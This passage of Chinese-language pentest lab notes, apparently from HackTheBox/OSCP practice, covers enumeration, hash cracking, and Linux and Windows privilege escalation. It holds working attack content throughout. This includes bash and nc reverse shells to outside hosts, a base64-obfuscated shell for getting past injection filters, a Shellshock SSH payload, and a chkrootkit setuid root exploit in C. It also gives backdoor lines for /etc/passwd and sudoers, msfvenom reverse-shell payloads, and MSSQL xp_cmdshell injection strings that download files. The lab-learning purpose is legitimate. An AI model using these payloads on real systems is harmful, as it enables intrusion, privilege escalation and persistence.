find / -user root -writable -type f -not -path “/proc/*” 2>/dev/null #查找长度权限为root但是可写的普通文件并且不查找 /proc文件夹下的内容并将错误信息不输出

find / -user root -writable -type d -not -path “/proc/*” 2>/dev/null #查找可写文件夹

find / -type f -perm 777 2>/dev/null

7.showmount

使用 showmount 来“显示 NFS 服务器的安装信息” 详情可以help

showmount -e 192.168.1.9

8.enum4linux

用于枚举windows和Linux系统上的SMB服务的工具详情可以help

enum4linux 192.168.1.9

enum4linux -a -o 192.168.1.9

9.mount

和 showmount 一起使用将目标的远程目录挂载到本地

1

showmount -e 10.10.10.180

mkdir ./nfsshare

mount -t nfs 192.168.1.9:2049/var/nfsshare ./nfsshare

nfs共享时如果提示权限不足解决方法一般都是上到目标主机看一下当前目录有该权限的账户的id值然后再本机创建该类型的用户如下：无法访问已安装的共享，可能是因为设置了 root_squash 标志。我们可以放心地假设，如果我们有一个名为 vulnix 且具有相同 UID 的用户，我们就能够访问它。

创建用户:

useradd -u “id” “username”

useradd -u 2008 vulnix

挂载: (上面有问题就用这个) mount -t nfs 192.168.1.7:/home/vulnix ./vulnix -nolock

10.smbmap

快速扫描和检查 SMB（Server Message Block）共享的命令行工具

smbmap -H <目标IP/主机名> -u <用户名> -p <密码>

smbmap -H 192.168.1.9

smbmap -H 192.168.1.9 -r anonymous

1

smbmap -H 10.10.10.193 -u tlavel -p 'TfWScpg3aEEi' -r -q

11.smbclient

用于存取共享目标的客户端程序 –help可以查看详细命令

smbclient //192.168.1.9/secured -U divid

smbclient -N -L //10.10.10.134/

smbclient -N //10.10.10.134/Backups

1

smbclient -L //10.10.132.140 -U "oscp.exam/celia.almeda%e728ecbadfb02f51ce8eed753f3ff3fd" --pw-nt-hash

1
2
3


recurse	ON			#开启递归，开启后会以目录递归方式运行mget和mput命令
prompt OFF			#关闭交互，开启后，下载文件时不再要求输入y/n确认
mget *				#批量获取文件，*是一个调配符，递归遍历时，任何文件名符合通配符的文件都会下载下来，*可以匹配所有

get xxxxx ；下载某个文件 put xxxxx ；上传某个文件 mget * ；下载当前目录下所有文件 tar c test.tar notes/ ；打包notes目录下所有文件

12.steghide

隐写工具 –help 可以查看需要的详细命令

steghide info plainsight.jpg

steghide extract -sf irked.jpg -p UPupDOWNdownLRlrBAbaSSss

13.ffuf

模糊测试工具详情可以help或者找博客

ffuf -u -c http://192.168.1.9/test.php?FUZZ=/etc/passwd -w /usr/share/dirb/wordlists/common.txt

ffuf -u http://10.10.10.84/browse.php?file=FUZZ -w /usr/share/dirb/wordlists/common.txt -c -fs 300-400

wfuzz -c -w /usr/share/wordlists/SecLists-master/Discovery/DNS/bitquark-subdomains-top100000.txt -u http://10.10.10.197 -H “Host: FUZZ.sneakycorp.htb” –hh 185

ffuf -w /usr/share/wordlists/SecLists-master/Discovery/DNS/bitquark-subdomains-top100000.txt -u http://10.10.10.197 -H “HOST: FUZZ.sneakycorp.htb” -fs 185

14.修改文件提权

如果有sudo可以执行的root的文件，改成下面的格式可以直接提权

#!/bin/bash bash -ip

15.knock

敲门收集了两种方法

类似于下图为敲门的配置

knock 192.168.1.5 33 44 55

nmap -Pn –host-timeout 201 –max-retries 0 -p 159 192.168.1.5

16.id_rsa 私钥爆破

今天打靶场遇到了这种情况，就去学习了

cd /usr/share/john 使用这个目录下的ssh2john.py文件进行转化格式 ./ssh2john.py ~/id_rsa > ~/hash 将id_rsa转化为john可以识别的内容开始爆破 john hash –wordlist=/usr/share/wordlists/rockyou.txt

john –format=md5crypt –wordlist=/usr/share/wordlists/rockyou.txt ./temp_passwd #hash密码爆破指定md5 也就是1类型

john –format=NT –wordlist=/usr/share/wordlists/rockyou.txt hashes.txt

1
2
3
4
5
6
7


hashcat -m 1000 hashes.txt /usr/share/wordlists/rockyou.txt
hashcat -m 1000 -a 0 hashes.txt /usr/share/wordlists/rockyou.txt --force

hashcat -m 1000 hashes.txt --show

# 查找对应的hash格式
hashcat --help | grep -i "Kerberos"

17.newgrp

newgrp命令是Linux系统中的一个用于切换用户组的命令。通过newgrp命令，用户可以暂时地切换到另一个用户组，以便在该用户组下执行命令或访问特定的文件

newgrp

18.文件上传构造环境

用于构造文件上传的环境，不用自己构建数据包，找到接口上传即可

1
2
3
4
5
6
7
8


<html>
<body>
<form method="post" action="http://192.168.1.5/themes/dashboard/assets/plugins/jquery-file-upload/server/php/" enctype="multipart/form-data">
<input type="file" name="files[]" />
<input type="submit" value="send" />
</form>
</body>
</html>

1

curl http://192.168.225.249:33414/file-upload -F "file=@/home/kali/hackthebox/ft.txt" -v -X POST -H "Content-Type: multipart/form-data" -F filename="/tmp/authorized_keys"

19.chkrootkit（非常规提权）

详情：Chkrootkit 0.49本地提权漏洞利用与防范研究 - 知乎

找到 chkrootkit 目录，目录里面一般有README 看看版本

一般在 /etc/chkrootkit

或者用该命令更好

./chkrootkit -V 如果为0.49 即可按照上面的方法提权

具体流程如下

保存文件为 updata.c 下载到目标机器的 /tmp 文件夹下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17


#include <unistd.h>

void main(void)

{

system("chown root:root /tmp/update");

system("chmod 4755 /tmp/update");

setuid(0);

setgid(0);

execl("/bin/sh","sh",NULL);

}

gcc -o update update.c #进行编译

编译完成进入 chkrootkit 目录运行一下 chkrootkit ./chkrootkit

会发现 /tmp/update 变为了root的权限

回到 tmp 文件夹执行 ./updata 即可获得root权限

20.查看系统版本及内核

uname -r

cat /etc/*-release

lsb_release -a

21.脏牛Linux本地提权漏洞(CVE-2016-5195)

https://gist.github.com/rverton/e9d4ff65d703a9084e85fa9df083c679

影响版本如下：

Centos7 /RHEL7 3.10.0-327.36.3.el7 Cetnos6/RHEL6 2.6.32-642.6.2.el6 Ubuntu 16.10 4.8.0-26.28 Ubuntu 16.04 4.4.0-45.66 Ubuntu 14.04 3.13.0-100.147 Debian 8 3.16.36-1+deb8u2 Debian 7 3.2.82-1

22.Apport（Ubuntu 14.04/14.10/15.04）- 竞态条件提权漏洞

Apport (Ubuntu 14.04/14.10/15.04) - Race Condition Privilege Escalation - Linux local Exploit

没有想到过可以运行这个提权，因为这种类型的exp对我来说不是常见，也就认为不是很好用，但事实是他可以执行，所以就先记录一下。

23.hexchat(IRC)

ngIRCd的默认密码是’ wealllikedebian '

24.smtp-user-enum

smtp用户枚举详细使用教程可以看help

smtp-user-enum -M VRFY -U ./test.txt -t 192.168.1.10

25.shellshock

打靶场时遇到连接成功直接断开的问题，搜了很久没有找到能够在 “ssh连接时执行命令” 的漏洞教程，唯一一个教的是在连接时后面加上 “ls -al” 可以执行命令但是没有用后面看wp找到的该漏洞

bash - how can shellshock be exploited over SSH? - Unix & Linux Stack Exchange

‘() { :;}; command’ #在连接时后面加上这个即可 command 为要执行的命令

ssh -i noob noob@192.168.1.5 -o PubkeyAcceptedKeyTypes=ssh-rsa “() { :;}; bash -c ’exec bash -i >& /dev/tcp/192.168.1.8/1111 <&1’”

26.apache2.conf 提权

原理就是将apache2.conf 里加上某个用户和组重启apache之后配置文件会写入进去提前在/var/www/html 目录里放上webshell 这样重启完成在点击webshell可以反弹出来添加进去的用户的权限

默认不让root启动所以提权其他用户前提是要有重启apache以及修改apache2.conf 的权限

#User ${APACHE_RUN_USER} #Group ${APACHE_RUN_GROUP}

User test

Group test

/etc/apache2/sites-enabled 这个目录存在配置文件

27.netstat -tuln

查看端口占用情况这个命令很简单没啥难度可言但还是记录一下把

netstat -tuln

netstat -ano

28.dig

爆破子域 dig后面跟着域名 @后面跟上dns服务器即可

dig hackers.blackhat.local @192.168.2.177

dig @10.10.10.123 friendzoneportal.red AXFR

dnsenum fabricorp.local –dnsserver 10.10.10.193

这个命令会返回整个 DNS 区域的记录，包括所有的 A、AAAA、CNAME、MX 等记录，以及子域名的信息。

1

dnstool.py -u 'DOMAIN\user' -p 'password' --record '*' --action query <dc_ip>

29.python Capabilities cap_sys_ptrace+ep提权

命令： getcap -r / 2>/dev/null |grep python

回显： /usr/bin/python2.7 = cap_sys_ptrace+ep

脚本地址： https://gist.githubusercontent.com/wifisecguy/1d69839fe855c36a1dbecca66948ad56/raw/e919439010bbabed769d86303ff18ffbacdaecfd/inject.py

教程地址： https://www.cnblogs.com/zlgxzswjy/p/15185591.html

30. /etc/passwd 提权

当 /etc/passwd 可以写入时，可以加入一条用户，su切换即可

生成加盐密码 Password为修改的密码 salt为修改的盐

perl -le ‘print crypt(“Password”,“salt”)’

写入 /etc/passwd su切换即可

echo “hack:ad7t5uIalqMws:0:0::/root:/bin/bash” » /etc/passwd

31.计划任务提权

cat /etc/crontab

查看计划任务找到关键点

1

# */5 * * * * root cd /var/www/html/ && sudo ./finally.sh

第1列：分钟（0-59）
第2列：小时（0-23）
第3列：一个月中的第几天（1-31）
第4列：月份（1-12）
第5列：一周中的第几天（0-7，其中0和7都代表星期日）
第6列：要执行命令的用户
第7列：要执行的命令

表示每5分钟时，以root用户身份进入/var/www/html/目录，并以sudo权限运行finally.sh脚本

计划任务某个执行文件具有root权限，而普通用户可以更改该执行文件时

chmod u+s /bin/bash

chmod u+s /bin/bash

/bin/bash -p # 即可提权到 root 用户组

或者

cp /bin/bash /var/www/html/suidbash chmod u+s /var/www/html/suidbash

suidbash -p #即可提权到 root 用户组

sudo -l

echo ‘www-data ALL=(ALL) NOPASSWD: /var/www/html/finally.sh’ » /etc/sudoers 将当前账户的 sudo 执行权限写入 sudoers 文件里，在给可执行文件加上 u+s 权限最后sudo 执行该文件即可提权如下：

chmod u+s finally.sh echo ‘www-data ALL=(ALL) NOPASSWD: /var/www/html/finally.sh’ » /etc/sudoers

sudo -l

Matching Defaults entries for www-data on sar: env_reset, mail_badpass, secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin

User www-data may run the following commands on sar: (ALL) NOPASSWD: /var/www/html/finally.sh

echo ‘su root’ » finally.sh sudo /var/www/html/finally.sh

32.Bypass命令注入限制

Bypass一些命令注入限制的姿势 - 先知社区

echo “YmFzaCAtYyAnZXhlYyBiYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMi43NS85OTk5IDwmMSc=” | base64 -d | bash

echo 解码执行

33.uncompyle6 pyc逆向

逆向pyc只用如下 uncompyle6 1.pyc > 1.py

在线pyc,pyo,python,py文件反编译，目前支持python1.5到3.6版本的反编译-在线工具

34.反弹shell

bash -c ’exec bash -i >& /dev/tcp/192.168.2.75/9999 <&1’

python -c ‘import pty; pty.spawn("/bin/bash")’

nc -e /bin/bash 192.168.31.17 7777

35.john

echo ‘$P$BW6NTkFvboVVCHU2R9qmNai1WfHSC41’ »/tmp/1 john /tmp/1 –wordlist=/usr/share/wordlists/rockyou.txt

zip: zip2john passwd.zip > passwd.hash

john passwd.hash john passwd.hash –wordlist=/usr/share/wordlists/rockyou.txt

john –pot=new.pot hash.txt –wordlist=/usr/share/wordlists/rockyou.txt

36.进程发现 pspy

Release No more waiting on drain · DominicBreuker/pspy · GitHub

上传运行即可查看进程情况后续进行提权

37.字典

目录爆破字典

/usr/share/wordlists/src/dirbuster/directory-list-2.3-big.txt

/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

1
2
3
4
5
6
7


https://www.cnblogs.com/shenlinken/p/10176682.html 可以对字典进行操控 去重倒序都可以
sort -u duweixin.net.txt		#去重
sort -r duweixin.net.txt		#倒序

# 这个非常强大
feroxbuster --url http://
https://rivers.chaitin.cn/blog/cqnmojp0lnec5jjug96g

38.smtp

常见命令

命令行作用

helo smtp 和服务器打招呼，测试登陆进去没

auth login 登陆具体邮箱,用户名和密码是经过base64加密的

mail from 输入邮件的发送方

rcpt to 输入邮件的接收方

data 开始编写邮件

quit 退出

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32


# 与服务器打招呼
HELO mail.relia.com

# 开始登录
AUTH LOGIN
# 输入 base64 编码的用户名 (maildmz@relia.com)
bWFpbGRtekByZWxpYS5jb20=
# 输入 base64 编码的密码 (DPuBT9tGCBrTbR)
RFB1QlQ5dEdjQnJUYlI=

MAIL FROM:<maildmz@relia.com>
RCPT TO:<接收方邮箱>
DATA
Subject: 测试邮件
这是邮件内容

. # 单独一行的点表示邮件内容结束

swaks --to jim@relia.com \
 --from maildmz@relia.com \
 --server 192.168.183.189 \
 --auth LOGIN \
 --auth-user maildmz@relia.com \
 --auth-password DPuBT9tGCBrTbR \
 --header "Subject: Test Email Subject" \
 --body "This is the email body content.\nMultiple lines can be included.\n" \
 --attach file.txt \
 --attach-type "text/plain" \
 --attach-name "custom_filename.txt"

# 附件记得加@
swaks -to jim@relia.com --from maildmz@relia.com -ap --attach @configuration.Library-ms --server 192.168.183.189 --auth LOGIN --auth-user maildmz@relia.com --auth-password DPuBT9tGCBrTbR --body "This is the email body content.\nMultiple lines can be included.\n" --header "Subject: Urgent Configuration Setup" --suppress-data

下面记录一个严重的问题就是携带附件的时候携带不了

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35


# 创建邮件格式
cat > email.txt << 'EOL'
From: maildmz@relia.com
To: jim@relia.com
Subject: Urgent Configuration Setup
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary=boundary

--boundary
Content-Type: text/plain

This is the email body content.

--boundary
Content-Type: application/ms-library
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="configuration.Library-ms"

EOL

# 发的文件需要base64编码 放在下面
base64 configuration.Library-ms >> email.txt

# 结尾
echo "
--boundary--" >> email.txt

至此 请求包
swaks -to jim@relia.com \
 --from maildmz@relia.com \
 --auth LOGIN \
 --auth-user maildmz@relia.com \
 --auth-password DPuBT9tGCBrTbR \
 --server 192.168.183.189 \
 --data "$(cat email.txt)"

常见的反馈代码

代码含义

220 smtp已处于在线状态，可以进行相关操作

221 关闭smtp服务

250 当前操作已经正确完成

334 等待输入，在登陆用户是出现

235 验证成功

535 验证失败

39.pop3

pop3协议

pop3默认端口为110。pop3协议有两个阶段：

认证阶段

用户端输入用户名、密码进行认证，服务器端返回OK或者ERR

事务阶段

可以对邮件基本操作。

常用命令

命令作用

user 输入用户名

pass 输入密码

list 列出消息数量，并且自动编号

retr 根据消息编号检索消息

dele 删除消息

quit 退出

40.nmap

nmap -p- –min-rate 10000 10.10.10.51

–script vuln

find /usr/share/nmap/scripts -name ‘wordpress’

nmap -T4 -Pn -sC –script http-wordpress-enum –script-args http-wordpress-enum.root="/webservices/wp/",http-wordpress-enum.search-limit=“all”,http-wordpress-enum.check-latest=“true” -p80 tartarsauce.htb

nmap -p- –min-rate 10000 -oA scans/nmap-alltcp 10.10.10.193

https://nmap.org/nsedoc/scripts/http-wordpress-enum.html

https://nosec.org/home/detail/2844.html #收集插件

1
2
3
4


# 探测存活
nmap -sn 172.16.131.0/24
# 初步扫描探测
nmap -Pn -p 21,22,23,80,443,445,3389 172.16.131.0/24

41.masscan

masscan -p 1-65535 10.10.10.58 –rate=100

42.nc

1
2
3
4
5


服务端
cat aa.txt | nc -l -p 10000
nc -l -p 10000 < aa.txt
客户端
nc -n 192.168.1.100 10000 > aa.txt

`plain 接收端执行命令：(6666为任意可用端口) nc -lvp 6666 > fileName 传输端执行命令： nc 目标ip 6666 < fileName`

43.wpscan

wpscan –url http://10.10.10.88:80/webservices/wp -e ap –plugins-detection aggressive -t 50 #全面扫插件

44.sudo

sudo -u 可以指定某个用户来使用它的sudo提升权限的应用

45.locate

locate backuper

类似于find 但比它方便

46.bash

/bin/bash bash -p #可以获取当前权限的新shell 有时候要写脚本可以用这个比如suid

1
2
3
4
5
6
7
8
9



```c

#include &lt;unistd.h&gt;
void main() {
execl("/bin/bash", "bash", "-p", NULL);
}

```text

47.gcc

#版本兼容问题用static即可有些主机是32位的加上m32即可

gcc -static -m32 -o 1 1.c

48.irc

irc是一个聊天软件启动用hexchat就行配置其他的比较简单

49.ssh配置文件

https://blog.csdn.net/qq_41765918/article/details/126837789

1.公钥名字

在互信机器上面公钥的名字是authorized_keys，有多台机器请写多行，名字是根据/etc/ssh/sshd_config配置文件的AuthorizedKeysFile 参数确定的默认是authorized_keys

2.公钥路径

查看/etc/ssh/sshd_config配置文件，找到AuthorizedKeysFile .ssh/authorized_keys参数，如图

如果取消了注释，那么authorized_keys文件放置对应目录，如果没有取消注释，文件在~/.ssh/下面

3.权限

目录结构：~/.ssh/authorized_keys

authorized_keys文件权限600，.ssh目录权限700 ，~目录目录权限755

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16


#禁用root账户登录，如果是用root用户登录请开启
PermitRootLogin yes

# 是否让 sshd 去检查用户家目录或相关档案的权限数据，
# 这是为了担心使用者将某些重要档案的权限设错，可能会导致一些问题所致。
# 例如使用者的 ~.ssh/ 权限设错时，某些特殊情况下会不许用户登入
StrictModes no

# 是否允许用户自行使用成对的密钥系统进行登入行为，仅针对 version 2。
# 至于自制的公钥数据就放置于用户家目录下的 .ssh/authorized_keys 内
RSAAuthentication yes
PubkeyAuthentication yes
AuthorizedKeysFile .ssh/authorized_keys

# 有了证书登录了，就禁用密码登录。
PasswordAuthentication no

50.多开shell

1
2


setsid bash -c 'exec bash -i >& /dev/tcp/10.10.16.14/9999 <&1' > output.log 2>&1 &
nohup setsid bash -c 'exec bash -i >& /dev/tcp/10.10.16.14/9999 <&1' > output.log 2>&1 &

51.缓冲区溢出(简述)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10


info registers		#崩溃信息
disassemble				#后面加参数 disassemble main 查看这个函数的汇编代码
ldd								#查找动态链接库
ldd rop | grep libc		#rop为具体程序
readelf						#查找函数偏移量
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep " system"		#查找system函数的偏移量
strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep "/bin/sh"		#查找/bin/sh字符串地址
break *0x80484f8	#break打断点
x/20x $esp				#查看栈上的数据
ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22


Dump of assembler code for function vuln:
 0x080484f8 <+0>: push %ebp									#将调用的栈帧基址压入栈中
 0x080484f9 <+1>: mov %esp,%ebp						#改变ebp为当前栈顶
 0x080484fb <+3>: sub $0x38,%esp						#减少栈指针56个字节 分配出来
 0x080484fe <+6>: sub $0x8,%esp						#减少栈指针8个字节 分配出来
 0x08048501 <+9>: push 0x8(%ebp)						#从取出传递的参数8个字节压入栈中
 0x08048504 <+12>: lea -0x30(%ebp),%eax			#ebp减去48个字节 将地址给eax
 0x08048507 <+15>: push %eax									#将eax压入栈中
 0x08048508 <+16>: call 0x8048350 <strcpy@plt>	#调用strcpy函数
 0x0804850d <+21>: add $0x10,%esp
 0x08048510 <+24>: sub $0xc,%esp
 0x08048513 <+27>: push $0x80485dd
 0x08048518 <+32>: call 0x8048340 <printf@plt>
 0x0804851d <+37>: add $0x10,%esp
 0x08048520 <+40>: sub $0xc,%esp
 0x08048523 <+43>: lea -0x30(%ebp),%eax
 0x08048526 <+46>: push %eax
 0x08048527 <+47>: call 0x8048340 <printf@plt>
 0x0804852c <+52>: add $0x10,%esp
 0x0804852f <+55>: nop
 0x08048530 <+56>: leave
 0x08048531 <+57>: ret

52.windows 切换用户

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12


runas /user:administrator cmd.exe

psexec -u app -p password powershell

$username = "app"
$password = ConvertTo-SecureString "password" -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential($username, $password)
# 方式1: Invoke-Command
Invoke-Command -ScriptBlock { 要执行的命令 } -Credential $cred

# 方式2: Start-Process
Start-Process powershell -Credential $cred -ArgumentList "要执行的命令"

53.msfvenom

在windows下反弹shell貌似变得有点麻烦他不像linux非常方便的将shell弹回来

此时需要各种各样的msfvenom的反弹shell的脚本这里用作记录

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22


非msf的弹shell脚本 nc监听即可
msfvenom -p windows/x64/shell_reverse_tcp -f exe -o shell.exe LHOST=10.10.16.3 LPORT=6666
msfvenom -p windows/shell_reverse_tcp -f raw -o sc_x86_msf.bin EXITFUNC=thread LHOST=10.10.16.3 LPORT=3334

aspx
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.16.3 LPORT=3333 -f aspx x> ./back.aspx

jsp
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.16.3 LPORT=6666 -f raw > shell.jsp

dll
msfvenom -a x64 -p windows/x64/shell_reverse_tcp LHOST=192.168.0.106 LPORT=4444 -f dll -o /var/public/rev.dll

asp
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.16.29 LPORT=6666 -f asp x> ./back.asp

php
msfvenom -p php/meterpreter_reverse_tcp LHOST=10.10.16.14 LPORT=6666 -f raw > shell.php

payloads作为-l的参数列出所有 payloads
此外，我们使用 --platform指定 payload 的平台，使用--arch 指定体系结构
msfvenom -l payloads --platform windows --arch x64

54.windows常规提权

一、烂土豆提权

https://github.com/k4sth4/Juicy-Potato/blob/main/x64/jp.exe

https://github.com/ohpe/juicy-potato/blob/master/CLSID/README.md #找到对应版本的CLSID

https://www.cnblogs.com/J0o1ey/p/15714555.html 详细教程

查看RPC默认端口是否为135 如果被修改(例如为111) juicypotato的参数可以使用-n 111指定RPC端口
查看当前用户权限，是否符合要求 whoami /priv

如果开启SeImpersonate权限，juicypotato的参数可以使用-t t

如果开启SeAssignPrimaryToken权限，juicypotato的参数可以使用-t u

如果均开启，可以选择-t *

如果均未开启，那么无法提权。

https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer

1
2


echo START C:\Users\Destitute\nc64.exe -e cmd.exe 10.10.16.14 5555 > shell.bat
.\jp.exe -t t -p .\shell.bat -l 1118 -c "{0134A8B2-3407-4B45-AD25-E9F7C92A80BC}"

二、

55.impacket参数

1
2


smbserver.py kali . -smb2support #启动smb2协议
python smbpasswd.py tlavel@10.10.10.193

56.RPC枚举

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18


rpcclient -U "" -N 10.10.10.248
rpcclient -U "tlavel%9VwzPigFmknx" -c 'enumdomusers;enumdomgroups;enumjobs;enumkey;enumports;enumprinters;enumprivs;enumtrust;enumforms;enumdrivers;quit' 10.10.10.193
rpcclient -U "oscp.exam/celia.almeda%e728ecbadfb02f51ce8eed753f3ff3fd" -N -c 'enumdomusers;enumdomgroups;enumjobs;enumkey;enumports;enumprinters;enumprivs;enumtrust;enumforms;enumdrivers;quit' 10.10.132.140

# 查看所有用户
enumdomusers
# 查看所有组
enumlsgroups
# 查询某个用户属于哪个组
queryusergroups
queryusergroups 0x46c

# IT组就可以去改密码
# 如果权限错误是可以改密码的
setuserinfo christopher.lewis 23 'Admin!23'
setuserinfo2 christopher.lewis 23 'Admin!23'
setuserinfo3 christopher.lewis 23 'Admin!23'
这个可以通过winrm连

57.windows download

1
2
3


C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe iwr http://10.10.16.14:33333/ncexe/nc64.exe -OutFile .\nc64.exe
curl http://10.10.16.2:33333/frp/frpc.exe -o .\frpc.exe
certutil -urlcache -split -f http://10.10.16.2:33333/Fuse/shell.exe C:\test\shell.exe

58.git

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34


git-dumper http://192.168.165.144/.git/ output_dir

# 提交新文件到git
git add shell.aspx
# 提交更改
git commit -m "add shell.aspx"
# 推送过去
git push origin main

git show #查看所有提交

添加所有更改：
git add . # 添加当前目录下所有更改
git add -A # 添加所有更改，包括删除的文件

添加特定文件：
git add file1.txt file2.txt # 添加多个指定文件
git add *.txt # 添加所有.txt文件

提交时也有类似选择：
git commit -m "message" # 提交所有已经add的文件
git commit file1.txt -m "message" # 提交特定文件
git commit -am "message" # 自动add并提交所有已追踪的更改文件

正常提交
git add .
git commit -m "test"
git push

私有token验证
git remote set-url origin https://oauth2:GITLAB_ACCESS_TOKEN_REDACTED@10.20.174.14/your-group/your-project.git
git remote set-url origin http://oauth2:GITLAB_ACCESS_TOKEN_REDACTED@10.20.174.14/skylark-rd/scratchpad

https://juejin.cn/post/7021023267028729887

59.ExifTool(元数据分析)

1
2


ExifTool 1.pdf
ExifTool -a -u 1.pdf

60.同步时钟(时间)

https://gitlab.com/NTPsec/ntpsec/-/issues/292

https://askubuntu.com/questions/429306/ntpdate-no-server-suitable-for-synchronization-found

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14


ntpdate -u htb.local && date
ntpdate -u htb.local -6 && date
ntpdate -u htb.local -4 && date

rpcclient -U "" -N htb.local
rpcdump> gettime

net time -S htb.local

rdate -n htb.local

#同步
date -s "Sat Dec 7 05:14:11 2024"
date

61.windows读取 Microsoft Defender 排除列表

1

reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions" /s

62.OSCP笔记-信息收集

whois是在43端口开放的

1
2
3
4


whois 38.100.193.70 -h 192.168.50.251
whois megacorpone.com -h 192.168.50.251

whois megacorpone.com -h 192.168.131.251

google 利用google爬虫做信息收集

 1
 2
 3
 4
 5
 6
 7
 8
 9
10


# 筛选txt为后缀的文件
site:megacorpone.com filetype:txt
# 去除后缀为htlm的文件
site:megacorpone.com -filetype:html

# 上面只是冰山一角 下面的可以查到很多信息
https://www.exploit-db.com/google-hacking-database
https://dorksearch.com/

site:megacorpone.com intext:VP Of Legal

host

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16


host www.megacorpone.com
host -t mx megacorpone.com
host -t txt megacorpone.com
host www.megacorpone.com
host idontexist.megacorpone.com

cat list.txt
www
ftp
mail
owa
proxy
router

for ip in $(cat list.txt); do host $ip.megacorpone.com; done
for ip in $(seq 200 254); do host 51.222.169.$ip; done | grep -v "not found"

dns爆破

1
2
3
4
5
6
7
8
9


使用-d选项指定域名 使用-t指定要执行的枚举类型（在本例中为标准扫描）
dnsrecon -d megacorpone.com -t std

暴力破解尝试
-d 选项指定域名
-D指定包含潜在子域字符串的文件名
-t指定要执行的枚举类型
brt表示暴力破解
dnsrecon -d megacorpone.com -D ~/list.txt -t brt

1

dnsenum megacorpone.com

1
2


nslookup mail.megacorptwo.com
nslookup -type=TXT info.megacorptwo.com 192.168.50.151

netcat

1
2
3
4
5
6
7
8


-w选项指定连接超时（以秒为单位）
-z指定零 I/O 模式 该模式用于扫描且不发送任何数据。
-u udp扫描
-nv 详细模式
-nvv 更详细模式

nc -nvv -w 1 -z 192.168.50.152 3388-3390
nc -nv -u -z -w 1 192.168.50.149 120-123

端口扫描

1

1..1024 | % {echo ((New-Object Net.Sockets.TcpClient).Connect("192.168.50.151", $_)) "TCP port $_ is open"} 2>$null

63.MSSQL注入

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29


https://y4er.com/posts/mssql-injection-learn
https://y4er.com/posts/mssql-getshell/
https://github.com/aleenzz/MSSQL_SQL_BYPASS_WIKI

sqsh -S 192.168.131.248:49965 -U dnnuser -P DotNetNukeDatabasePassword!

# 恢复xp_cmdshell
;EXEC sp_configure 'show advanced options',1;//允许修改高级参数
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell',1; //打开xp_cmdshell扩展
RECONFIGURE;--

# 测试xp_cmdshell是否开启 盲注
'; IF OBJECT_ID('xp_cmdshell') IS NOT NULL WAITFOR DELAY '0:0:5'; --
'; exec master..xp_cmdshell 'whoami'; WAITFOR DELAY '0:0:5'; --
'; IF (SELECT value_in_use FROM sys.configurations WHERE name = 'xp_cmdshell') = 1 WAITFOR DELAY '0:0:5'; --
'; IF EXISTS (SELECT 1 FROM sys.configurations WHERE name = 'xp_cmdshell' AND value_in_use = 1) WAITFOR DELAY '0:0:5'; --

# 测试文件是否存在 存在延时五秒
'; EXEC xp_cmdshell 'dir c:\inetpub\wwwroot\login.cs'; IF @@ERROR = 0 WAITFOR DELAY '0:0:5'; --
# 下面这个也是测试文件是否存在 但是好用
'; DECLARE @result int; EXEC @result = xp_cmdshell 'dir c:\inetpub\wwwroot\login.cs'; IF @result = 0 WAITFOR DELAY '0:0:5'; --
'; EXEC xp_cmdshell 'dir c:\inetpub\wwwroot\login.cs && ping -n 6 127.0.0.1'; --

# 执行shell
'; exec master..xp_cmdshell ' curl http://192.168.45.161:33333/2.txt -o C:\ProgramData\2.txt '; --

提示:确认xp_cmdshell存在的时候 不一定非要去写文件 他是一个CMD
能执行很多命令的 比如curl下载文件再执行 在我看来写文件反而是个不好的决定

mssql语句

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18


sqsh -S 192.168.131.248:49965 -U dnnuser -P DotNetNukeDatabasePassword!
python /usr/share/doc/python3-impacket/examples/mssqlclient.py Administrator:Lab123@192.168.164.18 -windows-auth

-- 列出所有数据库
SELECT name FROM master.sys.databases
GO

-- 切换数据库
USE databasename
GO

-- 列出当前数据库所有表
SELECT name FROM sysobjects WHERE xtype = 'U'
GO

-- 查看某个表的内容
SELECT * FROM tablename
GO

powershell连接mssql

1
2
3


$sql = "Server=10.10.132.142;Database=master;Integrated Security=True;"
$conn = New-Object System.Data.SqlClient.SqlConnection($sql)
$conn.Open()

参考 https://blog.csdn.net/kk185800961/article/details/52513640

执行sql语句下面一条就行不行的话去上面查

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
